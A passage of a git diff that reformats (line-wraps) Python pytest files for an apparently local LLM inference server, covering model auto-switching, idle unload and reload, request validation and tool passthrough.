"get_openai_auto_switch_enabled", lambda: False) - assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + assert ( + settings.get_auto_unload_idle_seconds() == 0 + ) # explicit value still gated off def test_env_idle_ttl_invalid_is_ignored(monkeypatch): @@ -1761,9 +1861,13 @@ def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatc backend = backend, recorder = rec, ) - monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr( + settings, "get_auto_unload_idle_seconds", lambda: 600 + ) # standalone env TTL monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) _run_hook("org/B-GGUF") # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A # is restored, not the resolves_to target B. @@ -1782,7 +1886,9 @@ def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) _run_hook("org/B-GGUF") assert rec.calls == [] @@ -1798,7 +1904,9 @@ def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): rec = _LoadRecorder(backend) _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) # An Unsloth model is the live backend. monkeypatch.setattr( inference_route, @@ -1822,21 +1930,28 @@ def test_advertised_loader_id_prefers_alias_over_abs_path(): f = resolver._advertised_loader_id # An absolute-path id falls back to the first non-path alias. assert ( - f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + f( + SimpleNamespace( + id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X" + ) + ) == "org/X-GGUF" ) # No alias available: strip the path to a public id so a host path is never advertised. assert ( f( SimpleNamespace( - id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", + model_id = None, + display_name = None, ) ) == "Qwen3-8B-Q4_K_M" ) # A normal repo id is advertised as-is. assert ( - f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" ) @@ -1883,7 +1998,10 @@ def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): raise OSError("permission denied") lm_info = SimpleNamespace( - id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + id = "org/Repo-GGUF", + path = "/lm/Repo", + model_id = "org/Repo-GGUF", + display_name = "Repo", ) monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) @@ -1912,12 +2030,17 @@ def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): gguf = tmp_path / "model-Q4_K_M.gguf" gguf.write_bytes(b"x" * 32) - assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) + is True + ) st = tmp_path / "safetensors_model" st.mkdir() (st / "model.safetensors").write_bytes(b"x" * 32) - assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + ) def test_info_has_local_gguf_excludes_ollama_links(tmp_path): @@ -1930,13 +2053,18 @@ def test_info_has_local_gguf_excludes_ollama_links(tmp_path): ollama_gguf = links / "model-Q4_K_M.gguf" ollama_gguf.write_bytes(b"x" * 32) assert ( - resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + resolver.info_has_local_gguf( + SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf)) + ) is False ) # The same GGUF outside an ollama-link dir is still servable. plain = tmp_path / "model-Q4_K_M.gguf" plain.write_bytes(b"x" * 32) - assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) + is True + ) def test_embeddings_input_present_helper(): @@ -1965,7 +2093,9 @@ def test_embeddings_rejects_missing_input_before_switch(monkeypatch): ) with pytest.raises(HTTPException) as exc: asyncio.run( - inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) ) assert exc.value.status_code == 400 assert rec.calls == [] # no model switch happened @@ -1979,7 +2109,9 @@ def test_retrieve_model_tolerates_non_string_id(monkeypatch): async def _objs(): return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] - monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr( + inference_route, "_openai_model_objects", lambda: [] + ) # nothing loaded monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) assert obj["id"] == "org/B-GGUF" @@ -2033,7 +2165,9 @@ def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): ) payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 400 assert rec.calls == [] @@ -2074,7 +2208,9 @@ def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): async def _run(status_code): async def _app(scope, receive, send): - await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send( + {"type": "http.response.start", "status": status_code, "headers": []} + ) await send({"type": "http.response.body", "body": b"x", "more_body": False}) sent = [] @@ -2083,7 +2219,11 @@ def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): sent.append(m) mw = kw.LlamaKeepWarmMiddleware(_app) - await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + await mw( + {"type": "http", "method": "POST", "path": "/v1/chat/completions"}, + _recv, + _send, + ) asyncio.run(_run(401)) assert kw._inflight == 0 # balanced (start then untracked end) @@ -2104,7 +2244,9 @@ def _stash(monkeypatch, *, idle = 600): monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) def test_completions_prompt_present_helper(): @@ -2150,9 +2292,13 @@ def test_chat_system_only_rejected_before_idle_reload(monkeypatch): rec = _LoadRecorder(backend) _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) _stash(monkeypatch) - payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}]) + payload = ChatCompletionRequest( + model = "x", messages = [{"role": "system", "content": "sys"}] + ) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 400 assert rec.calls == [] # no reload before rejection @@ -2167,7 +2313,11 @@ def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch): _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) _stash(monkeypatch) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester")) + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "x"}), "tester" + ) + ) assert exc.value.status_code == 400 assert rec.calls == [] # no reload before rejection @@ -2229,7 +2379,9 @@ def test_audio_generate_reloads_idle_freed_model(monkeypatch): rec = _LoadRecorder(backend) _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) _stash(monkeypatch) - payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}]) + payload = ChatCompletionRequest( + model = "x", messages = [{"role": "user", "content": "say hi"}] + ) # Falls through to the non-audio backend path (no real model) after the reload; # tolerate that downstream failure, the reload having run is the assertion. try: @@ -2366,7 +2518,9 @@ def test_omitted_model_still_reloads_idle_freed_model(monkeypatch): _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) asyncio.run( inference_route._auto_switch_from_request_body( _json_body_request({"prompt": "hi"}), "tester" @@ -2400,7 +2554,9 @@ def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch): backend = backend, recorder = rec, ) - payload = _anthropic_payload_with_tools([{"name": "broken"}]) # missing input_schema + payload = _anthropic_payload_with_tools( + [{"name": "broken"}] + ) # missing input_schema with pytest.raises(HTTPException) as exc: asyncio.run(inference_route.anthropic_messages(payload, object(), "tester")) assert exc.value.status_code == 400 @@ -2411,9 +2567,14 @@ def test_anthropic_validates_tools_before_auto_switch(): # Lock the order at the source: tool-shape validation precedes the hook, for # both /messages and /messages/count_tokens (shared helper). import inspect - for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens): + for fn in ( + inference_route.anthropic_messages, + inference_route.anthropic_count_tokens, + ): src = inspect.getsource(fn) - assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model") + assert src.index("_validate_anthropic_client_tools") < src.index( + "_maybe_auto_switch_model" + ) def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch): @@ -2468,7 +2629,10 @@ def test_switch_model_for_payload_only_switches_when_explicit(): from models.inference import ChatCompletionRequest omitted = ChatCompletionRequest(messages = [_chat_msg()]) - assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL + assert ( + inference_route._switch_model_for_payload(omitted) + == inference_route._RELOAD_ONLY_MODEL + ) explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()]) assert inference_route._switch_model_for_payload(explicit_default) == "default" explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()]) @@ -2512,7 +2676,9 @@ def test_build_chat_request_propagates_omitted_model(): chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False) assert "model" not in chat_req.model_fields_set explicit = _responses_payload(set_model = True) - chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False) + chat_req2 = inference_route._build_chat_request( + explicit, [_chat_msg()], stream = False + ) assert "model" in chat_req2.model_fields_set @@ -2548,7 +2714,10 @@ def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch): monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) payload = _responses_payload( - tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}] + tools = [ + {"type": "function", "name": "ok", "parameters": {}}, + {"type": "web_search"}, + ] ) with pytest.raises(_Reached): asyncio.run(inference_route.openai_responses(payload, object(), "tester")) @@ -2574,7 +2743,9 @@ def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monke raise AssertionError("must not switch on an invalid tool_choice") monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) - payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"}) + payload = ResponsesRequest( + model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"} + ) with pytest.raises(HTTPException) as exc: asyncio.run(inference_route.openai_responses(payload, object(), "tester")) assert exc.value.status_code == 400 @@ -2626,7 +2797,9 @@ def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch): model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False ) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 400 assert rec.calls == [] @@ -2650,7 +2823,9 @@ def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch): bypass_permissions = True, ) with pytest.raises(_Reached): - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) def test_chat_audio_input_guards_target_before_switch(monkeypatch): @@ -2677,7 +2852,9 @@ def test_chat_audio_input_guards_target_before_switch(monkeypatch): monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") with pytest.raises(_Reached): - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert captured["require_vision"] is True @@ -2747,7 +2924,9 @@ def test_chat_oversized_audio_rejected_before_switch(monkeypatch): big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 413 assert rec.calls == [] @@ -2773,7 +2952,9 @@ def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False ) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 400 assert rec.calls == [] @@ -2815,7 +2996,9 @@ def test_require_vision_allows_vision_target(monkeypatch): ) monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) asyncio.run( - inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) ) assert len(rec.calls) == 1 # vision target still switches @@ -2830,12 +3013,16 @@ def test_require_vision_ignores_reload_stash(monkeypatch): _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) monkeypatch.setattr( inference_route, "_target_is_vision", lambda _p: False ) # would reject if used asyncio.run( - inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) ) assert len(rec.calls) == 1 assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision @@ -2857,7 +3044,12 @@ def test_chat_validates_confirm_and_modality_before_switch(): def test_messages_have_image_helper(): - from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + from models.inference import ( + ChatMessage, + ImageContentPart, + ImageUrl, + TextContentPart, + ) f = inference_route._messages_have_image text_only = [ @@ -2865,7 +3057,9 @@ def test_messages_have_image_helper(): ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), ] assert f(text_only) is False - img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + img = ImageContentPart( + type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA") + ) assert f([ChatMessage(role = "user", content = [img])]) is True @@ -2881,7 +3075,9 @@ def test_anthropic_request_has_image_helper(): assert f(text_block) is False dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) assert f(dict_img) is True - typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + typed_img = SimpleNamespace( + messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])] + ) assert f(typed_img) is True @@ -2918,7 +3114,9 @@ def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): backend = backend, recorder = rec, ) - payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + payload = _anthropic_payload_with_tools( + [{"name": "broken"}] + ) # no input_schema/type with pytest.raises(HTTPException) as exc: asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) assert exc.value.status_code == 400 @@ -3026,9 +3224,13 @@ def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): backend = backend, recorder = rec, ) - payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}} + ) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) assert exc.value.status_code == 400 assert rec.calls == [] @@ -3047,7 +3249,9 @@ def test_chat_valid_tool_choice_reaches_hook(monkeypatch): model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} ) with pytest.raises(_Reached): - asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + asyncio.run( + inference_route.openai_chat_completions(payload, object(), "tester") + ) def test_lifecycle_gate_serializes_across_loops(): @@ -3206,10 +3410,14 @@ def test_responses_stream_hint_matches_toggle_regardless_of_active_model(monkeyp # evicts it to load a resolved GGUF (_maybe_auto_switch_model's resolver # branch has no active-model guard, unlike its reload-stash branch). Only # the toggle being on suppresses it. - hinted = _run_responses_stream_no_model(monkeypatch, enabled = False, active_model_name = None) + hinted = _run_responses_stream_no_model( + monkeypatch, enabled = False, active_model_name = None + ) assert "Model auto-switch" in hinted - on = _run_responses_stream_no_model(monkeypatch, enabled = True, active_model_name = None) + on = _run_responses_stream_no_model( + monkeypatch, enabled = True, active_model_name = None + ) assert "Model auto-switch" not in on non_gguf_loaded = _run_responses_stream_no_model( @@ -3261,7 +3469,9 @@ def _drive_idle_loop( asyncio.run(_drive()) -def test_idle_unload_saves_slots_before_unload_and_stashes_manifest(monkeypatch, tmp_path): +def test_idle_unload_saves_slots_before_unload_and_stashes_manifest( + monkeypatch, tmp_path +): import time from core.inference import llama_keepwarm as kw @@ -3512,7 +3722,12 @@ def test_restore_skipped_when_launch_config_changed(tmp_path): backend = _FakeBackend("unsloth/A-GGUF", hf_variant = "Q4_K_M") backend._gguf_path = manifest["gguf"] backend._slot_save_binary = ("/bin/llama-server", 111) - backend._slot_launch_fingerprint = lambda: (("--rope-freq-scale", "0.5"), None, None, 1) + backend._slot_launch_fingerprint = lambda: ( + ("--rope-freq-scale", "0.5"), + None, + None, + 1, + ) restored = [] backend.restore_slots_for_resume = lambda manifest: restored.append(manifest) @@ -3652,7 +3867,9 @@ def test_put_route_disabling_keep_kv_purges_saved_state(monkeypatch, tmp_path): state_file, manifest = _seed_kv_manifest(tmp_path) monkeypatch.setattr(kw, "_kv_resume", manifest) - payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_keep_kv = False) + payload = settings_route.OpenAIAutoSwitchPayload( + enabled = True, auto_unload_keep_kv = False + ) resp = settings_route.update_openai_auto_switch(payload, "tester") assert resp.auto_unload_keep_kv is False assert kw._kv_resume is None @@ -3669,7 +3886,10 @@ def test_keep_kv_only_update_leaves_env_idle_ttl_active(monkeypatch): monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) monkeypatch.setenv(settings.MODEL_IDLE_TTL_ENV_VAR, "600") - assert settings_route.OpenAIAutoSwitchPayload(enabled = False).auto_unload_idle_seconds is None + assert ( + settings_route.OpenAIAutoSwitchPayload(enabled = False).auto_unload_idle_seconds + is None + ) enabled, idle, keep_kv = settings.set_openai_auto_switch(False, None, False) assert settings.AUTO_UNLOAD_IDLE_SETTING_KEY not in store # idle untouched assert settings.get_auto_unload_idle_seconds() == 600 # env TTL still active @@ -3727,7 +3947,9 @@ def test_put_route_rejects_idle_below_floor(): import routes.settings as settings_route from fastapi import HTTPException - payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 30) + payload = settings_route.OpenAIAutoSwitchPayload( + enabled = True, auto_unload_idle_seconds = 30 + ) with pytest.raises(HTTPException) as excinfo: settings_route.update_openai_auto_switch(payload, "tester") assert excinfo.value.status_code == 400 diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py index 552f122ebb..0fe4f7f954 100644 --- a/studio/backend/tests/test_openai_catalog.py +++ b/studio/backend/tests/test_openai_catalog.py @@ -55,7 +55,9 @@ def test_catalog_lists_loaded_and_available(monkeypatch): async def _fake_catalog(): return [ _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup - _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded + _Info( + "/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8" + ), # available, not loaded # HF-cache GGUF: model_format is unset for these, so a files-based check # (not model_format) must still list it. _Info("models--org--Foo", "Foo", model_id = "org/Foo"), @@ -153,7 +155,9 @@ def test_catalog_ttl_starts_after_scan_completes(monkeypatch): first, second = asyncio.run(_run()) assert [i.id for i in first] == ["/m/A.gguf"] - assert calls["n"] == 1, "TTL started before the scan -> cache born expired, rescanned" + assert ( + calls["n"] == 1 + ), "TTL started before the scan -> cache born expired, rescanned" def test_retrieve_loaded_model_skips_catalog_scan(monkeypatch): diff --git a/studio/backend/tests/test_openai_citation_markers_edge.py b/studio/backend/tests/test_openai_citation_markers_edge.py index f44975ce33..d8bf0ad5c1 100644 --- a/studio/backend/tests/test_openai_citation_markers_edge.py +++ b/studio/backend/tests/test_openai_citation_markers_edge.py @@ -319,7 +319,9 @@ def test_split_helper_buffers_only_after_last_open_byte(): assert head == f"pre {complete} mid " assert tail == partial # Head, once rewritten, drops every private-use byte. - rewritten = _replace_openai_citation_markers(head, [{"source_id": "done", "url": "https://d"}]) + rewritten = _replace_openai_citation_markers( + head, [{"source_id": "done", "url": "https://d"}] + ) assert rewritten == "pre [[1]](https://d) mid " diff --git a/studio/backend/tests/test_openai_code_execution.py b/studio/backend/tests/test_openai_code_execution.py index 63e94613ed..8488979de3 100644 --- a/studio/backend/tests/test_openai_code_execution.py +++ b/studio/backend/tests/test_openai_code_execution.py @@ -250,7 +250,11 @@ def test_shell_call_emits_tool_start_and_end(monkeypatch): assert starts[0]["tool_call_id"] == "scall_1" # `_server_tool: True` marks a synthetic builtin so the frontend can tell # hosted tools from user-declared functions on history replay. - assert starts[0]["arguments"] == {"kind": "bash", "command": "ls -la", "_server_tool": True} + assert starts[0]["arguments"] == { + "kind": "bash", + "command": "ls -la", + "_server_tool": True, + } assert ends[0]["tool_call_id"] == "scall_1" assert "total 24" in ends[0]["result"] @@ -509,5 +513,7 @@ def test_expired_container_retries_only_once(monkeypatch): # Exactly two calls (first + one retry); a third would be a loop. assert call_count["n"] == 2 # The second failure surfaces normally as an error SSE line. - error_lines = [line for line in lines if '"error"' in line and "_toolEvent" not in line] + error_lines = [ + line for line in lines if '"error"' in line and "_toolEvent" not in line + ] assert len(error_lines) >= 1 diff --git a/studio/backend/tests/test_openai_container_crud.py b/studio/backend/tests/test_openai_container_crud.py index e0604527fd..33280fd95a 100644 --- a/studio/backend/tests/test_openai_container_crud.py +++ b/studio/backend/tests/test_openai_container_crud.py @@ -79,7 +79,9 @@ def test_create_sends_openai_beta_header(monkeypatch): return httpx.Response(200, json = {"id": "cntr_new", "name": "analysis"}) _mock_http_client(monkeypatch, handler) - result = _drive(_make_client().create_openai_container(name = "analysis", ttl_minutes = 30)) + result = _drive( + _make_client().create_openai_container(name = "analysis", ttl_minutes = 30) + ) assert result == {"id": "cntr_new", "name": "analysis"} assert seen["headers"].get("openai-beta") == "containers=v1" diff --git a/studio/backend/tests/test_openai_responses_translation.py b/studio/backend/tests/test_openai_responses_translation.py index f7d7e83a43..eb09243a39 100644 --- a/studio/backend/tests/test_openai_responses_translation.py +++ b/studio/backend/tests/test_openai_responses_translation.py @@ -494,7 +494,8 @@ def test_responses_response_incomplete_maps_to_length_finish_reason(monkeypatch) finish_reasons = [ json.loads(line[len("data:") :].strip())["choices"][0]["finish_reason"] for line in lines - if line.startswith("data:") and line[len("data:") :].strip() not in ("", "[DONE]") + if line.startswith("data:") + and line[len("data:") :].strip() not in ("", "[DONE]") ] assert "length" in finish_reasons @@ -726,7 +727,8 @@ def test_responses_reasoning_summary_wrapped_in_think_tags(monkeypatch): data_lines = [ line[len("data:") :].strip() for line in lines - if line.startswith("data:") and line[len("data:") :].strip() not in ("", "[DONE]") + if line.startswith("data:") + and line[len("data:") :].strip() not in ("", "[DONE]") ] payloads = [json.loads(raw) for raw in data_lines] combined = "".join( diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index 161c8743c4..0ab715163b 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -122,10 +122,15 @@ class TestFriendlyUpstreamError: assert "tool-calling grammar" in msg and "Update Unsloth" in msg def test_failed_to_initialize_samplers_alone_matches(self): - assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers") + assert "tool-calling grammar" in _friendly_upstream_error( + "Failed to initialize samplers" + ) def test_unrelated_error_passes_through(self): - assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory" + assert ( + _friendly_upstream_error("out of memory") + == "llama-server error: out of memory" + ) def test_openai_passthrough_error_rewrites_grammar_failure(self): # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions) @@ -133,11 +138,14 @@ class TestFriendlyUpstreamError: from routes.inference import _openai_passthrough_error exc = _openai_passthrough_error( - 400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}' + 400, + '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}', ) assert "tool-calling grammar" in exc.detail # An unrelated upstream error still passes through verbatim. - assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail + assert ( + "llama-server error:" in _openai_passthrough_error(500, "disk full").detail + ) # ===================================================================== @@ -365,7 +373,10 @@ class TestChatCompletionRequestToolFields: assert self._make(stop = "\nUser:").stop == "\nUser:" def test_stop_list(self): - assert self._make(stop = ["\nUser:", "\nAssistant:"]).stop == ["\nUser:", "\nAssistant:"] + assert self._make(stop = ["\nUser:", "\nAssistant:"]).stop == [ + "\nUser:", + "\nAssistant:", + ] def test_tools_default_none(self): req = self._make() @@ -405,7 +416,9 @@ class TestChatCompletionRequestToolFields: req = self._make() assert req.stream is False - def test_post_without_stream_field_decodes_to_stream_false_over_http(self, monkeypatch): + def test_post_without_stream_field_decodes_to_stream_false_over_http( + self, monkeypatch + ): # Wire-level guard: a POST body omitting `stream` must deserialise to # stream=False and return application/json, never text/event-stream. # Mounts the real router to catch middleware/aliasing regressions; @@ -456,9 +469,13 @@ class TestChatCompletionRequestToolFields: from auth.authentication import get_current_subject from utils.api_errors import install_api_error_handlers - monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama_backend) + monkeypatch.setattr( + inference_route, "get_llama_cpp_backend", lambda: llama_backend + ) if inference_backend is not None: - monkeypatch.setattr(inference_route, "get_inference_backend", lambda: inference_backend) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: inference_backend + ) app = FastAPI() app.include_router(inference_route.router, prefix = "/v1") @@ -604,7 +621,9 @@ class TestChatCompletionRequestToolFields: assert "n > 1 is not supported" in entry["error"] assert monitor.active_count() == 0 - def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + def test_client_tools_rejected_when_gguf_template_has_no_tool_support( + self, monkeypatch + ): import routes.inference as inference_route class _GGUFBackend: @@ -616,7 +635,9 @@ class TestChatCompletionRequestToolFields: context_length = 4096 def generate_chat_completion(self, **_kwargs): - raise AssertionError("client tools must not fall through to the standard GGUF path") + raise AssertionError( + "client tools must not fall through to the standard GGUF path" + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inference_route, "api_monitor", monitor) @@ -644,7 +665,9 @@ class TestChatCompletionRequestToolFields: assert "does not advertise tools" in entry["error"] assert monitor.active_count() == 0 - def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch): + def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled( + self, monkeypatch + ): import routes.inference as inference_route captured = {} @@ -749,8 +772,12 @@ class TestChatCompletionRequestToolFields: reset_tool_policy() if policy is not None: set_tool_policy(policy) - monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True) - monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3)) + monkeypatch.setattr( + 